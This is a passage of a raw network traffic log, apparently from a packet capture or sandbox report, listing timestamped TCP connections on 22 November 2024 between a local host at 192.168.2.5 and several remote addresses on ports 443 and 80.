Nov 22, 2024 23:06:25.977490902 CET	49751	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.980128050 CET	49742	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.980143070 CET	443	49742	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.991194010 CET	49742	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.991214037 CET	443	49742	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.992053032 CET	49751	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.992070913 CET	443	49751	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.994404078 CET	49752	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.994441986 CET	443	49752	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.994549990 CET	49752	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.994918108 CET	49752	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.994935989 CET	443	49752	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.995546103 CET	49753	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:25.995605946 CET	443	49753	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:25.995699883 CET	49753	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.001221895 CET	49753	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.001270056 CET	443	49753	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.050826073 CET	443	49740	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.051001072 CET	443	49740	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.051250935 CET	49740	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.067109108 CET	49740	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.067148924 CET	443	49740	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.067163944 CET	49740	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.067172050 CET	443	49740	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.071227074 CET	49755	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.071294069 CET	443	49755	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.071363926 CET	49755	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.072361946 CET	49755	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.072390079 CET	443	49755	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.199938059 CET	80	49724	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:26.200028896 CET	49724	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:26.410145044 CET	443	49742	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.410234928 CET	443	49742	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.410361052 CET	49742	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.426016092 CET	49742	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.426016092 CET	49742	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.426053047 CET	443	49742	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.426064968 CET	443	49742	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.435811996 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.435882092 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.435969114 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.452771902 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:26.452792883 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:26.694529057 CET	49758	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:26.694561005 CET	443	49758	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:26.694677114 CET	49758	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:26.696366072 CET	49758	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:26.696378946 CET	443	49758	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:26.835119009 CET	49724	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:26.835411072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:26.954571009 CET	80	49724	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:26.954896927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:26.954967022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:27.001153946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:27.001194000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:27.122010946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:27.122037888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:27.122047901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:27.122160912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:27.312499046 CET	443	49750	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.312758923 CET	49750	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:27.312786102 CET	443	49750	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.313855886 CET	443	49750	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.313931942 CET	49750	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:27.314929962 CET	49750	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:27.314997911 CET	443	49750	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.315102100 CET	49750	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:27.315110922 CET	443	49750	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.374358892 CET	443	49749	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.382581949 CET	49749	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:27.382611036 CET	443	49749	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.386193991 CET	443	49749	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.386281967 CET	49749	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:27.402695894 CET	49749	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:27.402781963 CET	443	49749	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.403879881 CET	49750	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:27.563786983 CET	49749	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:27.563832045 CET	443	49749	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.742363930 CET	443	49752	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:27.743294954 CET	443	49751	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:27.768474102 CET	49749	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:27.782017946 CET	49752	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:27.782057047 CET	443	49752	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:27.783808947 CET	49752	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:27.783816099 CET	443	49752	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:27.784463882 CET	49751	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:27.784486055 CET	443	49751	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:27.785343885 CET	49751	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:27.785351038 CET	443	49751	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:27.797322035 CET	443	49753	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:27.807728052 CET	443	49755	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:27.810275078 CET	443	49750	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.810360909 CET	443	49750	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.810429096 CET	49750	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:27.818212986 CET	49753	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:27.818279028 CET	443	49753	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:27.818738937 CET	49753	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:27.818749905 CET	443	49753	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:27.828011990 CET	49755	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:27.828061104 CET	443	49755	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:27.828505993 CET	49755	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:27.828517914 CET	443	49755	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:27.900801897 CET	49750	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:27.900837898 CET	443	49750	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:27.943034887 CET	49766	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:27.943077087 CET	443	49766	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:27.943281889 CET	49766	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:27.945142031 CET	49766	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:27.945152998 CET	443	49766	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:28.176770926 CET	443	49752	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.176841021 CET	443	49752	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.176911116 CET	49752	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.177504063 CET	443	49751	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.177567959 CET	443	49751	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.179147959 CET	49751	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.230650902 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.246810913 CET	443	49753	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.246874094 CET	443	49753	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.246997118 CET	49753	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.248816013 CET	443	49755	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.248977900 CET	443	49755	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.249041080 CET	49755	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.303845882 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.386262894 CET	49753	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.386284113 CET	443	49753	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.386697054 CET	49752	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.386727095 CET	443	49752	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.386742115 CET	49752	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.386748075 CET	443	49752	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.390927076 CET	49755	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.390943050 CET	443	49755	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.390970945 CET	49755	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.390986919 CET	443	49755	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.391623020 CET	49751	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.391663074 CET	443	49751	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.391675949 CET	49751	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.391690016 CET	443	49751	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.392616034 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.392636061 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.393253088 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.393261909 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.415064096 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.415106058 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.415365934 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.415832996 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.415855885 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.415925026 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.415946960 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.415996075 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.416147947 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.416317940 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.416332960 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.416496038 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.416507959 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.416536093 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.416569948 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.417604923 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.417613029 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.417663097 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.417781115 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.417788982 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.673690081 CET	443	49758	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:28.673804045 CET	49758	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:28.719228983 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.719299078 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.719362974 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.719744921 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.719769955 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.719773054 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.719779015 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.723546028 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.723576069 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.723893881 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.726298094 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:28.726310968 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:28.733517885 CET	49758	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:28.733531952 CET	443	49758	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:28.734559059 CET	443	49758	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:28.741065025 CET	49758	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:28.741132975 CET	49758	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:28.741267920 CET	443	49758	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:28.830693007 CET	49777	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:28.830743074 CET	443	49777	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:28.830975056 CET	49777	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:28.831419945 CET	49777	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:28.831437111 CET	443	49777	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:28.836376905 CET	49778	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:28.836417913 CET	443	49778	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:28.836492062 CET	49778	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:28.836760044 CET	49778	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:28.836776018 CET	443	49778	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:28.849803925 CET	49779	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:28.849821091 CET	443	49779	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:28.849899054 CET	49779	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:28.850522995 CET	49779	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:28.850536108 CET	443	49779	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.016972065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:29.017036915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:29.375194073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:29.445779085 CET	443	49758	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:29.445894957 CET	443	49758	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:29.446163893 CET	49758	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:29.447550058 CET	49758	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:29.447572947 CET	443	49758	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:29.447587967 CET	49758	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:29.447593927 CET	443	49758	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:29.473660946 CET	49780	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:29.473720074 CET	443	49780	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:29.473820925 CET	49780	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:29.474119902 CET	49780	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:29.474137068 CET	443	49780	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:29.494762897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:29.529480934 CET	49785	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:29.529534101 CET	443	49785	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:29.529613018 CET	49785	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:29.529869080 CET	49785	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:29.529886961 CET	443	49785	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:29.590881109 CET	49786	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.590940952 CET	443	49786	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.591073990 CET	49786	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.591281891 CET	49786	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.591295958 CET	443	49786	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.606738091 CET	49787	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.606795073 CET	443	49787	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.606863976 CET	49787	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.607203960 CET	49787	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.607218981 CET	443	49787	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.640887976 CET	49789	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.640928984 CET	443	49789	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.640976906 CET	49789	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.643274069 CET	49789	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.643284082 CET	443	49789	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.671299934 CET	49778	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.671428919 CET	49786	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.671900034 CET	49792	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.671920061 CET	443	49792	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.672139883 CET	49792	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.672566891 CET	49793	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.672629118 CET	443	49793	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.672705889 CET	49793	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.673259974 CET	49749	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:29.673361063 CET	443	49749	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:29.673532009 CET	443	49749	94.245.104.56	192.168.2.5
Nov 22, 2024 23:06:29.673600912 CET	49749	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:29.673600912 CET	49749	443	192.168.2.5	94.245.104.56
Nov 22, 2024 23:06:29.674818039 CET	49777	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.674887896 CET	49787	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.674941063 CET	49766	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:29.675532103 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:29.675543070 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:29.675606966 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:29.676387072 CET	49800	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.676407099 CET	443	49800	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.676479101 CET	49800	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.676619053 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.676637888 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.676685095 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.677284002 CET	49779	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.677359104 CET	49789	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.677546978 CET	49805	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.677563906 CET	443	49805	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.677664995 CET	49806	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.677680969 CET	49805	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.677684069 CET	443	49806	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.677745104 CET	49806	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.677856922 CET	49793	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.677875042 CET	443	49793	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.678016901 CET	49792	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.678025961 CET	443	49792	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.678139925 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:29.678149939 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:29.678608894 CET	49800	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.678625107 CET	443	49800	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.678809881 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.678824902 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.679523945 CET	49805	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.679539919 CET	443	49805	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.679622889 CET	49806	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:29.679636955 CET	443	49806	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.715338945 CET	443	49778	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.715389013 CET	443	49786	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.719331980 CET	443	49789	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.719340086 CET	443	49766	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:29.719356060 CET	443	49787	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.719364882 CET	443	49777	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.723330021 CET	443	49779	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:29.783298016 CET	49809	443	192.168.2.5	18.165.220.57
Nov 22, 2024 23:06:29.783358097 CET	443	49809	18.165.220.57	192.168.2.5
Nov 22, 2024 23:06:29.783418894 CET	49809	443	192.168.2.5	18.165.220.57
Nov 22, 2024 23:06:29.783617020 CET	49809	443	192.168.2.5	18.165.220.57
Nov 22, 2024 23:06:29.783653021 CET	443	49809	18.165.220.57	192.168.2.5
Nov 22, 2024 23:06:29.839797020 CET	443	49766	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:29.839971066 CET	49766	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:30.006500959 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.028281927 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.028306007 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.030733109 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.030740976 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.063663006 CET	443	49778	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.064032078 CET	49778	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.146622896 CET	443	49777	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.146737099 CET	443	49777	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.146864891 CET	49777	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.146866083 CET	49777	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.153599977 CET	443	49779	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.153764009 CET	443	49779	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.153855085 CET	49779	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.153855085 CET	49779	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.160883904 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.164351940 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.164375067 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.164846897 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.164853096 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.202810049 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.203368902 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.203387022 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.203838110 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.203840971 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.272648096 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.273206949 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.273293018 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.273706913 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.273724079 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.323489904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:30.323555946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:30.449316025 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.449506044 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.449632883 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.450026035 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.450047970 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.450058937 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.450064898 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.456651926 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.456708908 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.456810951 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.456954002 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.456970930 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.473927975 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.476845980 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.476891994 CET	443	49772	13.107.246.63	192.168.2.5
